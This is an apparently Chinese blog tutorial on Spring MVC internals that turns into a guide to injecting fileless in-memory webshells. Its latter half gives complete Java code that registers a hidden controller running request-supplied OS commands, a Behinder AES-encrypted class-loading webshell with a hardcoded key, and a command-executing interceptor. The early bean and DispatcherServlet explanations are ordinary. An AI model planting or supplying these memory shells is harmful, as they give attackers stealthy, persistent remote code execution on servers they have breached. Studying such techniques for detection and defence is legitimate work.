Spring Web 介绍

Bean

bean 是Spring 框架的一个核心概念,它是构建程序的主干,并且是由Spring loC 容器负责实例化、配置、组装和管理的对象。
通俗来讲

  • bean 是对象
  • bean 被 loC容器管理
  • Spring 应用由一个个bean构成

    ApplicationContext

    Spring 框架中,BeanFactory 接口是 Spring loC容器的实际代表者
    从下面的接口继承关系图可以看出,ApplicationContext接口继承了BeanFactory接口,并通过继承其他接口进一步扩展了基本容器的功能
    image.png
    因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖
    IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。

    ContextLoaderListener 与 DispatcherServlet

    下面是一个典型 Spring 应用的 web.xml 配置示例:

    1. <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    2. xmlns="http://java.sun.com/xml/ns/javaee"
    3. xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
    4. version="2.5">
    5. <display-name>HelloSpringMVC</display-name>
    6. <context-param>
    7. <param-name>contextConfigLocation</param-name>
    8. <param-value>/WEB-INF/applicationContext.xml</param-value>
    9. </context-param>
    10. <listener>
    11. <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    12. </listener>
    13. <servlet>
    14. <servlet-name>dispatcherServlet</servlet-name>
    15. <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    16. <init-param>
    17. <param-name>contextConfigLocation</param-name>
    18. <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
    19. </init-param>
    20. <load-on-startup>1</load-on-startup>
    21. </servlet>
    22. <servlet-mapping>
    23. <servlet-name>dispatcherServlet</servlet-name>
    24. <url-pattern>/</url-pattern>
    25. </servlet-mapping>
    26. </web-app>

    在正式了解上面的配置前,先介绍下关于 Root Context 和 Child Context 的重要概念:

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

    ContextLoaderListener

    ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。
    这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean。
    回到 web.xml 中,其相关配置如下: ```xml contextConfigLocation /WEB-INF/applicationContext.xml

org.springframework.web.context.ContextLoaderListener

  1. 依照规范,当没有显式配置 ContextLoaderListener contextConfigLocation 时,程序会自动寻找 /WEB-INF/applicationContext.xml,作为配置文件,所以其实上面的 <context-param> 标签对其实完全可以去掉。
  2. <a name="NtaQl"></a>
  3. #### DispatcherServlet
  4. DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller View。<br />DispatcherServlet 初始化完成后,会创建一个普通的 Child Context 实例。
  5. 剩下的servlet 标签中,配置项如下
  6. ```xml
  7. <servlet>
  8. <servlet-name>dispatcherServlet</servlet-name>
  9. <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  10. <init-param>
  11. <param-name>contextConfigLocation</param-name>
  12. <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
  13. </init-param>
  14. <load-on-startup>1</load-on-startup>
  15. </servlet>

上面给 org.springframework.web.servlet.DispatcherServlet 类设置了个别名 dispatcherServlet ,并配置了它的 contextConfigLocation 参数值为 /WEB-INF/dispatcherServlet-servlet.xml
依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 /WEB-INF/-servlet.xml,作为配置文件。因为上面的 是 dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件
综上,可以了解到:每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器
如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext

创建Spring MVC项目

这里使用maven创建spring mvc 项目,实现版本控制
这里选择maven-archetypes-webapp
image.png
这里记得选择本地配置好的源为aliyun的maven配置文件,这样会快一些
image.png
image.png
等待maven 下载好之后,就可以看到如下的目录结构
image.png
然后添加SpringMVC的相关包

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  4. <modelVersion>4.0.0</modelVersion>
  5. <groupId>org.example</groupId>
  6. <artifactId>SpringMVC_Test</artifactId>
  7. <version>1.0-SNAPSHOT</version>
  8. <packaging>war</packaging>
  9. <name>SpringMVC_Test Maven Webapp</name>
  10. <!-- FIXME change it to the project's website -->
  11. <url>http://www.example.com</url>
  12. <properties>
  13. <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  14. <maven.compiler.source>1.7</maven.compiler.source>
  15. <maven.compiler.target>1.7</maven.compiler.target>
  16. <spring.version>4.3.18.RELEASE</spring.version>
  17. </properties>
  18. <dependencies>
  19. <dependency>
  20. <groupId>junit</groupId>
  21. <artifactId>junit</artifactId>
  22. <version>4.11</version>
  23. <scope>test</scope>
  24. </dependency>
  25. <!--spring 核心包-->
  26. <!-- spring start -->
  27. <dependency>
  28. <groupId>org.springframework</groupId>
  29. <artifactId>spring-core</artifactId>
  30. <version>${spring.version}</version>
  31. </dependency>
  32. <dependency>
  33. <groupId>org.springframework</groupId>
  34. <artifactId>spring-web</artifactId>
  35. <version>${spring.version}</version>
  36. </dependency>
  37. <dependency>
  38. <groupId>org.springframework</groupId>
  39. <artifactId>spring-oxm</artifactId>
  40. <version>${spring.version}</version>
  41. </dependency>
  42. <dependency>
  43. <groupId>org.springframework</groupId>
  44. <artifactId>spring-tx</artifactId>
  45. <version>${spring.version}</version>
  46. </dependency>
  47. <dependency>
  48. <groupId>org.springframework</groupId>
  49. <artifactId>spring-jdbc</artifactId>
  50. <version>${spring.version}</version>
  51. </dependency>
  52. <dependency>
  53. <groupId>org.springframework</groupId>
  54. <artifactId>spring-webmvc</artifactId>
  55. <version>${spring.version}</version>
  56. </dependency>
  57. <dependency>
  58. <groupId>org.springframework</groupId>
  59. <artifactId>spring-aop</artifactId>
  60. <version>${spring.version}</version>
  61. </dependency>
  62. <dependency>
  63. <groupId>org.springframework</groupId>
  64. <artifactId>spring-context-support</artifactId>
  65. <version>${spring.version}</version>
  66. </dependency>
  67. <dependency>
  68. <groupId>org.springframework</groupId>
  69. <artifactId>spring-test</artifactId>
  70. <version>${spring.version}</version>
  71. </dependency>
  72. <!-- spring end -->
  73. </dependencies>
  74. <build>
  75. <finalName>SpringMVC_Test</finalName>
  76. <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
  77. <plugins>
  78. <plugin>
  79. <artifactId>maven-clean-plugin</artifactId>
  80. <version>3.1.0</version>
  81. </plugin>
  82. <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
  83. <plugin>
  84. <artifactId>maven-resources-plugin</artifactId>
  85. <version>3.0.2</version>
  86. </plugin>
  87. <plugin>
  88. <artifactId>maven-compiler-plugin</artifactId>
  89. <version>3.8.0</version>
  90. </plugin>
  91. <plugin>
  92. <artifactId>maven-surefire-plugin</artifactId>
  93. <version>2.22.1</version>
  94. </plugin>
  95. <plugin>
  96. <artifactId>maven-war-plugin</artifactId>
  97. <version>3.2.2</version>
  98. </plugin>
  99. <plugin>
  100. <artifactId>maven-install-plugin</artifactId>
  101. <version>2.5.2</version>
  102. </plugin>
  103. <plugin>
  104. <artifactId>maven-deploy-plugin</artifactId>
  105. <version>2.8.2</version>
  106. </plugin>
  107. </plugins>
  108. </pluginManagement>
  109. </build>
  110. </project>

然后添加SpringMVC框架,右键项目,点击Add Framework Support
image.png
如果在Add framework support中找不到Spring,那是因为项目中可能已经存在Spring相关文件,但不一定是完善的。因此我们要将已经存在的Spring给删掉,重新添加,方法如下:
点击Project Structure,选择Facets,就会看到有一个Spring啦,右击它,点删除就行啦,然后再回到上面第3步重新Add framework support
image.png
image.png
Spring框架添加完之后,会看到目录下多了两个xml文件
image.png
下面开始配置web.xml

  1. <web-app>
  2. <display-name>HelloSpringMVC</display-name>
  3. <context-param>
  4. <param-name>contextConfigLocation</param-name>
  5. <param-value>/WEB-INF/applicationContext.xml</param-value>
  6. </context-param>
  7. <listener>
  8. <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  9. </listener>
  10. <servlet>
  11. <servlet-name>dispatcher</servlet-name>
  12. <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  13. <init-param>
  14. <param-name>contextConfigLocation</param-name>
  15. <param-value>/WEB-INF/dispatcher-servlet.xml</param-value>
  16. </init-param>
  17. <load-on-startup>1</load-on-startup>
  18. </servlet>
  19. <servlet-mapping>
  20. <servlet-name>dispatcher</servlet-name>
  21. <url-pattern>/</url-pattern>
  22. </servlet-mapping>
  23. </web-app>

配置dispatcher-servlet.xml,负责mvc的配置

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
  3. <mvc:annotation-driven/>
  4. <context:component-scan base-package="com.spring.Controller"/>
  5. <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
  6. <!-- 视图的路径 -->
  7. <property name="prefix" value="/WEB-INF/jsp/"/>
  8. <!-- 视图名称后缀 -->
  9. <property name="suffix" value=".jsp"/>
  10. </bean>
  11. </beans>

然后注意,需要在main目录中添加java、resource文件夹,并且在java目录下,添加包名com.spring.Controller,因为我们在dispatcher-servlet.xml中添加了 <context:component-scan base-package="com.spring.Controller"/>这个意思就是扫描com.spring.Controller包下的Controller,这样才能访问到写的Controller
image.png
最后再配置一下本地Tomcat
image.png
image.png
出现了warning,此时点击fix即可,或者
image.png
image.png
image.png

Controller

手动注册Controller

首先查看dispatcher-servlet.xml

  1. <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
  2. <!-- 视图的路径 -->
  3. <property name="prefix" value="/WEB-INF/jsp/"/>
  4. <!-- 视图名称后缀 -->
  5. <property name="suffix" value=".jsp"/>
  6. </bean>

视图路径在/WEB-INF/jsp/目录下
/WEB-INF/jsp/目录下创建hello.jsp,isELIgnored="false"这里一定要添加,否则model传过来的值,在高版本的SpringMVC中不会解析EL表达式

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: aaron
  4. Date: 2022/2/18
  5. Time: 19:08
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
  9. <html>
  10. <head>
  11. <title>Title</title>
  12. </head>
  13. <body>
  14. <h1>hello world ,${name}</h1>
  15. </body>
  16. </html>

一个正常的 Controller 示例代码如下,当用浏览器访问 /hi/say路径时,会在定义好的 View 中输出 hello world,aaron 字样

  1. @Controller
  2. @RequestMapping("/hi")
  3. public class HelloController {
  4. @RequestMapping("say")
  5. public String say(Model model){
  6. model.addAttribute("name","aaron");
  7. return "hello";
  8. }
  9. }

image.png

获取当前代码运行的上下文环境(dispatcherServlet)

在这里我通过使用LandGrey@观星实验室的方法获取到Root WebApplicationContext,注入也能成功,但是会报错,提示没有dispatcherServlet,也就是不能分发给对应的Controller,由于Root WebApplicationContext是无法访问到Child WebApplicationContext 定义的bean,applicationContext.xml全局配置也没有搞定,希望有大佬可以给我applicationContext.xml的相关配置,以及如何成功利用

这里使用LandGrey@观星实验室大佬的后两种获取Child Context的方法

RequestContextUtils

  1. WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

这里使用RequestContextUtils中的WebApplicationContext getWebApplicationContext(ServletRequest request)方法,通过 ServletRequest类的实例来获取WebApplicationContext
当拿到了这个WebApplicationContext之后,就需要在当前的context里注册Controller,然后给这个Controller绑定对应可解析的url,以及方法

  1. public class InjectController {
  2. public InjectController() {
  3. // 从context中获得 RequestMappingHandlerMapping 的实例
  4. RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
  5. // 通过反射获得自定义 controller 中的 Method 对象
  6. Method method = Class.forName("com.spring.Controller.InjectController").getMethod("test");
  7. // 定义访问 controller 的 URL 地址
  8. PatternsRequestCondition url = new PatternsRequestCondition("/ccc");
  9. // 定义允许访问 controller 的 HTTP 方法(GET/POST)
  10. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  11. // 在内存中动态注册 controller
  12. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  13. com.spring.Controller.InjectController injectToController = new com.spring.Controller.InjectController();
  14. requestMappingHandlerMapping.registerMapping(info, injectToController, method);
  15. }
  16. public void test(){
  17. xxx
  18. }
  19. }

在test方法中,需要实现我们的webshell的逻辑,首先需要完善webshell

  1. java.lang.Runtime.getRuntime().exec("command");

然后在将command变成我们可控制的,也就是传入可控参数,这时就需要获取当前的request和response,command 为request.getParamer("cmd")就为可控参数了,所以就是获取request,response的问题了,这里我们使用spring提供获取request,response的方法,这里使用如下方法

  1. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  2. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

test方法可以使用如下表示

  1. public void test() throws IOException {
  2. // 获取request和response对象
  3. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  4. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  5. // 获取cmd参数并执行命令
  6. java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
  7. }

getAttribute

  1. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

同上,因为获取的都是Child WebApplicationContext

阻止重复添加controller (非必须)

这里使用bitterz大佬的代码
上面获取的requestMappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。
AbstractHandlerMethodMapping基类的getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取,反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

  1. // 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法
  2. AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
  3. // 反射调用getMappingRegistry方法
  4. Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
  5. method.setAccessible(true);
  6. Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
  7. // 反射获取urlLookup属性
  8. Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
  9. field.setAccessible(true);
  10. Map urlLookup = (Map) field.get(mappingRegistry);
  11. // 判断我们想要注入的路径是否被已经存在
  12. Iterator urlIterator = urlLookup.keySet().iterator();
  13. List<String> urls = new ArrayList();
  14. while (urlIterator.hasNext()){
  15. String urlPath = (String) urlIterator.next();
  16. if ("/malicious".equals(urlPath)){
  17. System.out.println("url已存在");
  18. return;
  19. }
  20. }

实例(添加Controller)

0x1 注入普通马

在上述知道了具体的操作方法,我在这里使用一个手动注册的Controller,里面包含恶意代码,这样来模拟一下无文件内存马

  1. package com.spring.Controller;
  2. import org.springframework.beans.factory.NoSuchBeanDefinitionException;
  3. import org.springframework.stereotype.Controller;
  4. import org.springframework.ui.Model;
  5. import org.springframework.web.bind.annotation.RequestMapping;
  6. import org.springframework.web.context.WebApplicationContext;
  7. import org.springframework.web.context.request.RequestContextHolder;
  8. import org.springframework.web.context.request.ServletRequestAttributes;
  9. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  10. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  11. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  12. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  13. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  14. import javax.servlet.http.HttpServletRequest;
  15. import javax.servlet.http.HttpServletResponse;
  16. import java.io.IOException;
  17. import java.lang.reflect.Field;
  18. import java.lang.reflect.InvocationTargetException;
  19. import java.lang.reflect.Method;
  20. import java.util.ArrayList;
  21. import java.util.Iterator;
  22. import java.util.List;
  23. import java.util.Map;
  24. @Controller
  25. public class HelloWorldController {
  26. public HelloWorldController() {}
  27. public void test() throws IOException {
  28. // 获取request和response对象
  29. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  30. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  31. // 获取cmd参数并执行命令
  32. java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
  33. }
  34. @RequestMapping(value = "/hello")
  35. public String hello(Model model) throws NoSuchBeanDefinitionException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
  36. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  37. // 2. 从context中获得 RequestMappingHandlerMapping 的实例
  38. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  39. // 判断url是否存在
  40. AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
  41. Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
  42. method.setAccessible(true);
  43. Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
  44. Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
  45. field.setAccessible(true);
  46. Map urlLookup = (Map) field.get(mappingRegistry);
  47. Iterator urlIterator = urlLookup.keySet().iterator();
  48. List<String> urls = new ArrayList();
  49. while (urlIterator.hasNext()){
  50. String urlPath = (String) urlIterator.next();
  51. if ("/test".equals(urlPath)){
  52. System.out.println("url已存在");
  53. return "hello";
  54. }
  55. }
  56. // 可选步骤,判断url是否存在
  57. // 2. 通过反射获得自定义 controller 中test的 Method 对象
  58. Method method2 = HelloWorldController.class.getMethod("test");
  59. // 3. 定义访问 controller 的 URL 地址
  60. PatternsRequestCondition url = new PatternsRequestCondition("/test");
  61. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  62. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  63. // 5. 在内存中动态注册 controller
  64. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  65. // 创建用于处理请求的对象
  66. HelloWorldController injectToController = new HelloWorldController();
  67. mappingHandlerMapping.registerMapping(info, injectToController, method2);
  68. model.addAttribute("name","aaron");
  69. return "hello";
  70. }
  71. }

目录结构如下,其中com.spring.Controller包的俩controller分别是两种获取Child WebApplicationContext的方法实现
image.png
在代码中可以看到,访问/hello,就会执行hello方法,然后就会动态注入url=>/test,以及controller(test方法)
image.png

0x2 注入冰蝎马

冰蝎马如下

  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
  2. <%!
  3. class U extends ClassLoader{
  4. U(ClassLoader c){
  5. super(c);
  6. } //构造函数
  7. public Class g(byte []b){
  8. return super.defineClass(b,0,b.length); // 调用父类的defineClass函数
  9. }
  10. }
  11. %>
  12. <%
  13. if (request.getMethod().equals("POST"))
  14. {
  15. String k="e45e329feb5d925b";
  16. session.putValue("u",k);
  17. Cipher c=Cipher.getInstance("AES");
  18. c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
  19. new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  20. }
  21. %>

可以看出,该jsp的核心功能有三点

  • 为了方便地使用defineClass,创建了U这个类继承ClassLoader;
  • 使用java自带的包,解密AES加密数据
  • 使用defineClass加载AES解密后字节码,获得一个恶意类,利用newInstance创建这个类的实例,并调用equals方法

要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法,所以注入的controller代码中,可以将pageContext换成一个Map,手动添加key和value即可。
冰蝎马需要继承ClassLoader后调用父类的defineClass,当然也可以用反射,但是这样更方便而已。对恶意类稍加改造,继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码

基本逻辑
  1. public HttpServletResponse test() throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IOException, BadPaddingException, IllegalBlockSizeException, IllegalAccessException, InstantiationException {
  2. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  3. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  4. HttpSession session = request.getSession();
  5. if (request.getMethod().equals("POST")) {
  6. session.setAttribute("u", this.k);
  7. Cipher c = Cipher.getInstance("AES");
  8. c.init(2, new SecretKeySpec(this.k.getBytes(), "AES"));
  9. HelloWorldController helloWorldController = new HelloWorldController(ClassLoader.getSystemClassLoader());
  10. String base64String = request.getReader().readLine();
  11. byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String);
  12. byte[] bytesDecrypted = c.doFinal(bytesEncrypted);
  13. Class newClass = helloWorldController.g(bytesDecrypted);
  14. Map<String, Object> pageContext = new HashMap<String, Object>();
  15. pageContext.put("session", session);
  16. pageContext.put("request", request);
  17. pageContext.put("response", response);
  18. newClass.newInstance().equals(pageContext);
  19. }
  20. return response;
  21. }

完整代码如下:

  1. package com.spring.Controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.ui.Model;
  4. import org.springframework.web.bind.annotation.RequestMapping;
  5. import org.springframework.web.context.WebApplicationContext;
  6. import org.springframework.web.context.request.RequestContextHolder;
  7. import org.springframework.web.context.request.ServletRequestAttributes;
  8. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  9. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  10. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  11. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  12. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  13. import javax.crypto.BadPaddingException;
  14. import javax.crypto.Cipher;
  15. import javax.crypto.IllegalBlockSizeException;
  16. import javax.crypto.NoSuchPaddingException;
  17. import javax.crypto.spec.SecretKeySpec;
  18. import javax.servlet.http.HttpServletRequest;
  19. import javax.servlet.http.HttpServletResponse;
  20. import javax.servlet.http.HttpSession;
  21. import java.io.IOException;
  22. import java.lang.reflect.Field;
  23. import java.lang.reflect.InvocationTargetException;
  24. import java.lang.reflect.Method;
  25. import java.security.InvalidKeyException;
  26. import java.security.NoSuchAlgorithmException;
  27. import java.util.*;
  28. @Controller
  29. public class HelloWorldController extends ClassLoader {
  30. private final String uri = "/test";
  31. private final String k = "e45e329feb5d925b";
  32. public HelloWorldController(ClassLoader c) {
  33. super(c);
  34. }
  35. public Class g(byte[] b) {
  36. return super.defineClass(b, 0, b.length); // 调用父类的defineClass函数
  37. }
  38. public HelloWorldController() {
  39. }
  40. public HttpServletResponse test() throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IOException, BadPaddingException, IllegalBlockSizeException, IllegalAccessException, InstantiationException {
  41. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  42. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  43. HttpSession session = request.getSession();
  44. if (request.getMethod().equals("POST")) {
  45. session.setAttribute("u", this.k);
  46. Cipher c = Cipher.getInstance("AES");
  47. c.init(2, new SecretKeySpec(this.k.getBytes(), "AES"));
  48. HelloWorldController helloWorldController = new HelloWorldController(ClassLoader.getSystemClassLoader());
  49. String base64String = request.getReader().readLine();
  50. byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String);
  51. byte[] bytesDecrypted = c.doFinal(bytesEncrypted);
  52. Class newClass = helloWorldController.g(bytesDecrypted);
  53. Map<String, Object> pageContext = new HashMap<String, Object>();
  54. pageContext.put("session", session);
  55. pageContext.put("request", request);
  56. pageContext.put("response", response);
  57. newClass.newInstance().equals(pageContext);
  58. }
  59. return response;
  60. }
  61. @RequestMapping(value = "/hello")
  62. public String hello(Model model) throws ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
  63. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  64. // 2. 从context中获得 RequestMappingHandlerMapping 的实例
  65. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  66. // 判断url是否存在
  67. AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
  68. Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
  69. method.setAccessible(true);
  70. Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
  71. Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
  72. field.setAccessible(true);
  73. Map urlLookup = (Map) field.get(mappingRegistry);
  74. Iterator urlIterator = urlLookup.keySet().iterator();
  75. List<String> urls = new ArrayList();
  76. while (urlIterator.hasNext()) {
  77. String urlPath = (String) urlIterator.next();
  78. if ("/test".equals(urlPath)) {
  79. System.out.println("url已存在");
  80. return "hello";
  81. }
  82. }
  83. // 可选步骤,判断url是否存在
  84. // 2. 通过反射获得自定义 controller 中test的 Method 对象
  85. Method method2 = HelloWorldController.class.getMethod("test");
  86. // 3. 定义访问 controller 的 URL 地址
  87. PatternsRequestCondition url = new PatternsRequestCondition("/test");
  88. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  89. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  90. // 5. 在内存中动态注册 controller
  91. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  92. // 创建用于处理请求的对象
  93. HelloWorldController injectToController = new HelloWorldController();
  94. mappingHandlerMapping.registerMapping(info, injectToController, method2);
  95. model.addAttribute("name", "aaron");
  96. return "hello";
  97. }
  98. }

问题

为什么会添加一个空构造函数(缺省构造函数)?
由于在当前类里面定义了“有参构造方法”,这样的话在实例化的时候,没有传参,就会出现此异常,需要添加一个覆盖原先的“无参构造方法”,所以在类里面加上“无参构造方法”就可以解决问题了
sun.misc.BASE64Decoder().decodeBuffer(base64String)
jdk11+不支持,使用jdk8可直接使用,如果目标环境是jdk8+,那么建议自己写一个base64解码器来解码
ClassLoader.getSystemClassLoader()
如果随意给定某个继承自ClassLoader的类,可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级
image.png

拦截器

拦截器(Interceptor)在开发中处于非常重要的环节,全局拦截器可以针对接口授权情况进行放行或拦截,也可以进行身份验证,不满足则直接拦截,所有的请求都会先经过拦截器,然后才到达Controller,执行,最后返回,所以如果能动态注册一个拦截器,对所有的请求进行拦截,等到得到了我们设置的参数,再进行操作

手工创建拦截器

首先创建一个类

  1. package com.spring.Interceptor;
  2. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.IOException;
  6. public class TestInterceptor extends HandlerInterceptorAdapter {
  7. @Override
  8. public boolean preHandle(HttpServletRequest request, HttpServletResponse response,Object handler){
  9. String code = request.getParameter("code");
  10. if(code !=null){
  11. try{
  12. Runtime.getRuntime().exec("calc.exe");
  13. }catch (IOException e){
  14. e.printStackTrace();
  15. }
  16. }
  17. return true;
  18. }
  19. }

然后在dispatcher-Servlet.xml 配置

  1. <mvc:interceptors>
  2. <mvc:interceptor>
  3. <mvc:mapping path="/hello"/>
  4. <bean class="com.spring.Interceptor.TestInterceptor" />
  5. </mvc:interceptor>
  6. </mvc:interceptors>

当访问hello路由的时候,就会触发拦截器

这里一定得有路由,如果没有注册hello这个路由,那么拦截器就无效果

image.png

分析拦截器的整个过程

完整的调用链如下所示:

